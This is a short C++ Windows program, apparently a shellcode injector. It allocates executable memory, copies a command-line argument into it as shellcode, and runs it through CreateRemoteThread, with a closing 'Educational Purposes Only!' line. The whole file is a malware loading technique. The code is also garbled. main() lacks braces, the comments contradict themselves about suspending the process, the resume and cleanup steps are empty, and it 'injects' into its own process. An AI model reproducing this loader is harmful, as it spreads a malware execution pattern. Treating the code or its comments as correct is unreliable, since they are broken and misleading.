#include <windows.h>
#include <stdio.h>
#include <string>
#include <iostream>

// Function to inject.
int main(int argc, char* argv[])
    // Injecting into a process that is suspended will not work.
    // So we need to suspend the process first.
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

    // Allocate memory in the process.
    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, strlen(argv[1]), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Write the shellcode to the memory.
    WriteProcessMemory(hProcess, lpAddress, argv[1], strlen(argv[1]), NULL);

    // Create a remote thread in the process.
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, NULL);

    // Wait for the thread to finish.
    WaitForSingleObject(hThread, INFINITE);

    // Free the memory.
    VirtualFreeEx(hProcess, lpAddress, strlen(argv[1]), MEM_RELEASE);

    // Resume the process.

    // Close the handles.

    return 0;

// Educational Purposes Only!